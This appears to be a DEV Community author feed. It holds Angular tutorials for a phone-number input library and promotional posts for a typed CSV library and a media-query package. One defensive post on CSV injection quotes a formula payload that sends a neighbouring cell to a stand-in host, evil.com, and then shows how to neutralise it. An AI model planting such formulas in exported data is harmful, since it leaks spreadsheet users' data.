DEV Community: Myroslav Martsin

Phone input for Angular

Myroslav Martsin — Tue, 13 Oct 2026 17:28:18 +0000

A phone input has three jobs. It shows the number the way people write it in their country, checks it against the numbering plan of that country, and hands the form the one shape worth storing, the number in E.164. A mask covers the first job for a single country and leaves the other two to a regex, which is where most phone fields go wrong.

This post builds such an input on a reactive form, adds a region picker, and then moves the same input into Angular Material. Each step runs on StackBlitz, linked at the end.

Install

One command installs it:

ng add @telixon/angular

The schematic adds the package, the flags stylesheet, and the engine preload. Of the parts inside, this post uses two. TelixonPhoneInput is a directive for your own <input>. TelixonRegionPicker shows the flag and a searchable list of countries next to it, linked to the input through [for]. Both render on the server and restyle through one class selector each.

The input on a reactive form

import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { TelixonPhoneInput, TelixonRegionPicker } from '@telixon/angular';

@Component({
  selector: 'app-contact',
  imports: [ReactiveFormsModule, TelixonPhoneInput, TelixonRegionPicker],
  changeDetection: ChangeDetectionStrategy.OnPush,
  template: `
    <div class="field">
      <telixon-region-picker [for]="phone" [prioritize]="['US', 'CA', 'GB']" />

      <input
        type="tel"
        autocomplete="tel"
        aria-label="Phone"
        #phone="telixonPhoneInput"
        [telixonPhoneInput]="{ mode: 'international', defaultRegion: 'US', display: { callingCodeInInput: false } }"
        [formControl]="control"
        [placeholder]="phone.state()?.placeholder ?? ''"
      />
    </div>

    <p>{{ control.value ?? 'null' }}</p>
    <p>{{ control.errors?.['telixonPhone']?.kind ?? 'none' }}</p>
  `,
})
export class Contact {
  readonly control = new FormControl<string | null>(null);
}

Three attributes do the work. [telixonPhoneInput] turns the input into a phone field, here in international mode with the calling code shown on the picker. [formControl] binds it like any other input, while [for] on the picker ties it to this field through the #phone reference. The placeholder is an example number for the current country, 201-555-0123 for the United States.

The input itself stays a plain <input>, styled by your CSS. The quick start gets by with this:

.field {
  display: flex;
  gap: 0.5rem;
}

.field > input {
  flex: 1 1 10rem;
  min-width: 0;
  padding: 0.55rem 0.7rem;
  font: inherit;
  border: 1px solid color-mix(in srgb, currentColor 30%, transparent);
  border-radius: 0.375em;
  background: transparent;
  color: inherit;
}

Type 4155550132 and the input shows 415-555-0132 while the control holds +14155550132. Type 416 instead and the flag turns Canadian on its own, because Canada shares the calling code and 416 belongs to Toronto. Paste +44 20 7183 8750 and the picker jumps to the United Kingdom, where the same field shows 20 7183 8750 and holds +442071838750.

What the form gets

The control holds E.164 while the number is valid and null the rest of the time, which spares everything downstream from parsing it again. An invalid number puts the reason under telixonPhone:

control.errors;
// { telixonPhone: { kind: 'TOO_SHORT', minLength: 10 }, required: true }

The reason names the fault, TOO_SHORT here, together with the detail behind it, the minimum length in this case or the prefix a country expects in another. The wording of the message stays yours, which keeps translation in your hands. One consequence of the null value is worth knowing. While the number is incomplete, Validators.required fires as well. Your template therefore checks telixonPhone first. An empty input reports nothing of its own and leaves required to do its job.

ngModel works the same way:

<input name="phone" [telixonPhoneInput]="{ mode: 'international' }" [(ngModel)]="phone" #model="ngModel" />

The same input inside Angular Material

<mat-form-field appearance="outline">
  <mat-label>Phone</mat-label>

  <telixon-region-picker matTextPrefix [for]="phone" anchor=".mdc-text-field" [prioritize]="['US', 'CA', 'GB']" />

  <input
    matInput
    type="tel"
    autocomplete="tel"
    #phone="telixonPhoneInput"
    [telixonPhoneInput]="{ mode: 'national', defaultRegion: 'US' }"
    [formControl]="control"
    [placeholder]="phone.state()?.placeholder ?? ''"
  />

  @if (control.hasError('telixonPhone')) {
    <mat-error>{{ message(control.getError('telixonPhone')) }}</mat-error>
  } @else if (control.hasError('required')) {
    <mat-error>Phone number is required.</mat-error>
  }
</mat-form-field>

matInput goes on the same <input> as the directive, which is the whole trick. Material draws the label, the outline, and the error state from the control, with no MatFormFieldControl to write. matTextPrefix places the picker on the text line, while anchor=".mdc-text-field" lines its list up with the box Material draws. message is a small switch over the fault kind in your component. The picker renders inside the form field, out of reach of component styles, which is why its one rule lives in the global stylesheet:

.mat-mdc-form-field .tlx-region-picker__trigger {
  border: 0;
  padding: 0.5em 1rem 0.5em 0.5em;
  margin-inline-start: -0.5em;
  translate: 0 -1px;
}

Signal Forms

On Angular 22 the same field binds to a Signal Form through [formField] as TelixonPhoneField, where the error arrives with a message and the fault. The walk-through is in Phone field on Angular Signal Forms.

Run it

The engine behind all of this is compiled from Google libphonenumber's metadata and checked against it in CI. If a number formats or validates differently from Google libphonenumber, open an issue with the number. A wrong answer is a bug.

Phone field on Angular Signal Forms

Myroslav Martsin — Wed, 07 Oct 2026 19:42:24 +0000

Signal Forms went stable in Angular 22. They bring FormValueControl, a contract through which custom controls hand their value and their errors to the form. Toggles and steppers meet it in a few lines, because the value they show is the value they store. The real test comes when those two drift apart, when an input shows one thing and its model holds another.

A phone field is such a control. The user types 4155550132. The input shows (415) 555-0132 while the model stores +14155550132. Between the two sit parsing, formatting, and validation per country. The contract asks the control to hand over the E.164 value and a typed error when the number is incomplete. This is the first hurdle.

The second hurdle appears as soon as the field moves into Angular Material, which has a contract of its own. A custom component inside <mat-form-field> has to implement MatFormFieldControl, whichever forms API it binds with. The guide for it runs 529 lines, with a phone input as the worked example.

Both come down to one idea. The control is a directive on a native <input>. The form gets its value and errors from the directive, while Material keeps its own matInput on the same element. The rest of this post builds the field step by step, from a bare <input> to Angular Material. The Material step ends with zero lines of MatFormFieldControl.

Starting point

The field comes from @telixon/angular, which one command installs:

ng add @telixon/angular

The schematic adds the package, the flags stylesheet, and provideTelixon with the engine preload. The package is a kit. Two of its parts matter here. TelixonPhoneField is a directive for your own <input>. TelixonRegionPicker adds the flag and a searchable list of countries next to it and links to the field through [for]. Both render on the server and restyle through one class selector each.

Step one, a bare input on a Signal Form

Start with your own markup, a <div>, the picker, and an <input>:

import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import { FormField, form, required } from '@angular/forms/signals';
import { TelixonPhoneField, TelixonRegionPicker } from '@telixon/angular';

@Component({
  selector: 'app-contact',
  imports: [FormField, TelixonPhoneField, TelixonRegionPicker],
  changeDetection: ChangeDetectionStrategy.OnPush,
  template: `
    <div class="field">
      <telixon-region-picker [for]="phone" [prioritize]="['US', 'CA', 'GB']" />

      <input
        type="tel"
        autocomplete="tel"
        aria-label="Phone"
        #phone="telixonPhoneField"
        [telixonPhoneField]="{ mode: 'international', defaultRegion: 'US', display: { callingCodeInInput: false } }"
        [formField]="contactForm.phone"
        [placeholder]="phone.state()?.placeholder ?? ''"
      />
    </div>

    <p>{{ model().phone ?? 'null' }}</p>
    <p>{{ error() }}</p>
  `,
})
export class Contact {
  readonly model = signal<{ phone: string | null }>({ phone: null });
  readonly contactForm = form(this.model, (schema) => {
    required(schema.phone, { message: 'Phone number is required.' });
  });
  readonly error = computed(() => this.contactForm.phone().errors()[0]?.message ?? 'none');
}

Three attributes carry the whole thing. [telixonPhoneField] turns the input into the phone field, here in international mode with the calling code shown on the picker. [formField] binds it to the form, the same binding a native input gets. [for] on the picker links it to the field through the #phone reference.

The input stays a plain <input> and its look is up to your CSS. The quick start uses this much:

.field {
  display: flex;
  gap: 0.5rem;
}

.field > input {
  flex: 1 1 10rem;
  min-width: 0;
  padding: 0.55rem 0.7rem;
  font: inherit;
  border: 1px solid color-mix(in srgb, currentColor 30%, transparent);
  border-radius: 0.375em;
  background: transparent;
  color: inherit;
}

Type 4155550132 and the input shows 415-555-0132 while the model shows +14155550132. Type 416 and the flag turns Canadian on its own, because Canada shares the calling code and 416 belongs to Toronto. Nothing in the component knows about Toronto.

Step two, what the form sees

The model holds E.164 while the number is valid and null at any other time, which means the submit handler never parses anything. The rules you write stay in the schema, required here. An invalid number adds one entry to errors():

contactForm.phone().errors();
// [{ kind: 'telixonPhone', message: 'This number is too short.', fault: { kind: 'TOO_SHORT', minLength: 10 } }]

message is ready to show. fault carries the reason, such as TOO_SHORT with the minimum length, for your own wording or a translation through the errorMessage input. The error marks the field invalid and blocks submission like a schema rule. While the number is invalid the model is null, which trips the schema's required as well. Angular lists the parse error first, which is why the template reads errors()[0] and shows the field's message. An empty field reports nothing from the field itself and leaves the message to required.

The schema's disabled, readonly, and required land on the input element as well. Add readonly(schema.phone) and the input locks.

Step three, the same field inside Angular Material

This is the step where MatFormFieldControl usually comes in. Here is the whole change:

@Component({
  selector: 'app-contact',
  imports: [FormField, MatFormFieldModule, MatInputModule, TelixonPhoneField, TelixonRegionPicker],
  changeDetection: ChangeDetectionStrategy.OnPush,
  template: `
    <mat-form-field appearance="outline">
      <mat-label>Phone</mat-label>

      <telixon-region-picker matTextPrefix [for]="phone" anchor=".mdc-text-field" [prioritize]="['US', 'CA', 'GB']" />

      <input
        matInput
        type="tel"
        autocomplete="tel"
        #phone="telixonPhoneField"
        [telixonPhoneField]="{ mode: 'national', defaultRegion: 'US' }"
        [formField]="contactForm.phone"
        [placeholder]="phone.state()?.placeholder ?? ''"
      />

      <mat-error>{{ contactForm.phone().errors()[0]?.message }}</mat-error>
    </mat-form-field>
  `,
})
export class Contact {
  readonly model = signal<{ phone: string | null }>({ phone: null });
  readonly contactForm = form(this.model, (schema) => {
    required(schema.phone, { message: 'Phone number is required.' });
  });
}

matInput sits on the same <input> as the directive, which is the one idea from the start of this post. Material reads the field's state through Signal Forms, which gives the floating label, the outline notch, aria-invalid, and mat-error with no @if around it. matTextPrefix puts the picker on the text line. anchor=".mdc-text-field" lines the list up with the box Material draws. The mode is national this time, with the calling code implied by the flag.

The input itself needs no styles here, because matInput draws it. The one snag is the picker. It renders inside the form field where component styles do not reach. Its one rule goes into the global stylesheet:

.mat-mdc-form-field .tlx-region-picker__trigger {
  border: 0;
  padding: 0.5em 1rem 0.5em 0.5em;
  margin-inline-start: -0.5em;
  translate: 0 -1px;
}

Then the same run as before. 4155550132 shows as (415) 555-0132. Pick the United Kingdom and type 02071838750. The input shows 020 7183 8750 while the model holds +442071838750. Leave the field after 020 71 and Material shows "This number is too short." The second contract never comes up.

What to take away

Signal Forms let a directive be the control. FormValueControl is a contract, a value plus errors. A directive on a native <input> fulfills it.
A ControlValueAccessor bound through [formField] works through a compatibility path and loses its typed errors on the way. For Signal Forms, use a FormValueControl. Telixon ships both, TelixonPhoneInput for reactive forms and TelixonPhoneField for Signal Forms, with the same options.
The validation comes from an engine compiled from Google libphonenumber's metadata and verified against it in CI. Whether 020 7183 875 is complete is a question for the numbering plan. The engine answers it the way Google's library does.

Run it

If the field formats or validates a number differently from Google libphonenumber, open an issue with the number. A wrong answer is a bug.

The CSV bug that compiles clean and breaks in production

Myroslav Martsin — Thu, 25 Jun 2026 18:01:08 +0000

Here is a bug I have shipped more than once.

You have an export that turns records into CSV. The column list is just strings:

import Papa from 'papaparse';

Papa.unparse(users, { columns: ['id', 'name', 'email'] }); // columns are plain strings

Six months later someone renames name to fullName on the User type. The compiler is happy. The tests that do not touch this path are happy. The export keeps running. It just quietly emits an empty name column, and you find out when a customer asks why half of their download is blank.

The root cause: the column list and your data have no connection the compiler can see. 'name' is just a string, and renaming a field cannot break a string.

The fix is to tie the columns to the type. In csv-pipe the column list is keyof T, so it is checked against your records:

import { stringify } from 'csv-pipe';

type User = { id: number; fullName: string; email: string };

const users: User[] = [{ id: 1, fullName: 'Alex', email: 'alex@example.com' }];

stringify(users, { columns: ['id', 'fullName', 'email'] }); // ok
stringify(users, { columns: ['name'] }); // compile error: 'name' is not a key of User

Now the rename cannot stay silent. The moment name becomes fullName on the type, every columns: ['name'] in your codebase turns red until you fix it. The column list moves with the data.

It is a small thing, but it is the difference between catching the bug in your editor and catching it in a support ticket.

csv-pipe is a typed, zero-dependency CSV library that does this for both encoding and parsing, on every runtime. Try it on your own data: https://martsinlabs.github.io/csv-pipe/playground

Ever had a renamed column quietly break a CSV export? csv-pipe makes it a compile error, reads and writes both ways, and parses several times faster than papaparse. Live playground in the post to try your own data.

Myroslav Martsin — Mon, 22 Jun 2026 21:26:43 +0000

Myroslav Martsin

Jun 22

csv-pipe: read and write CSV in TypeScript, several times faster than papaparse

#javascript #typescript #webdev #node

2 min read

[Boost]

Myroslav Martsin — Thu, 18 Jun 2026 16:31:54 +0000

Myroslav Martsin

Jun 18

The CSV export vulnerability you probably have (and a one-line fix)

#security #typescript #javascript #webdev

1 min read

The CSV export vulnerability you probably have (and a one-line fix)

Myroslav Martsin — Thu, 18 Jun 2026 16:30:51 +0000

You let users export data to CSV. They open it in a spreadsheet. A cell runs a formula. That is CSV injection, and most export endpoints have it.

Any cell starting with =, +, -, @, a tab, or a carriage return is treated as a formula. An attacker-controlled name like =HYPERLINK("http://evil.com?x="&A1) then runs on open and leaks a neighboring cell. The CSV is perfectly valid, so escaping commas does nothing here.

The fix is to prefix formula-leading cells. csv-pipe has it built in:

import { stringify } from 'csv-pipe';

const rows = [{ name: '=HYPERLINK("http://evil.com?x="&A1)', note: 'attacker' }];

stringify(rows, { sanitizeFormulas: true });
// name,note
// "'=HYPERLINK(""http://evil.com?x=""&A1)",attacker

The leading ' makes the spreadsheet show the cell as text instead of running it (the doubled quotes are normal CSV escaping). It only touches string and array cells; numbers and dates are left alone.
Turn it on for any export of untrusted data.

csv-pipe is a small, zero-dependency CSV library that encodes and parses, both directions typed and streaming, with this guard built in.

[Boost]

Myroslav Martsin — Mon, 17 Nov 2025 19:50:13 +0000

Myroslav Martsin

Nov 14 '25

With CSS media queries, hidden doesn’t mean inactive.

#angular

1 min read

With CSS media queries, hidden doesn’t mean inactive.

Myroslav Martsin — Fri, 14 Nov 2025 21:41:07 +0000

The component still renders, runs lifecycles, and keeps subscriptions alive.
All that background logic quietly eats memory and slows your app down.

NGX-MQ solves the problem.
Signal-based media queries that prevent rendering before it starts — nothing runs unless it truly matters.

Give it a try — your app will thank you! 🚀

npm: https://www.npmjs.com/package/ngx-mq
GitHub: https://github.com/martsinlabs/ngx-mq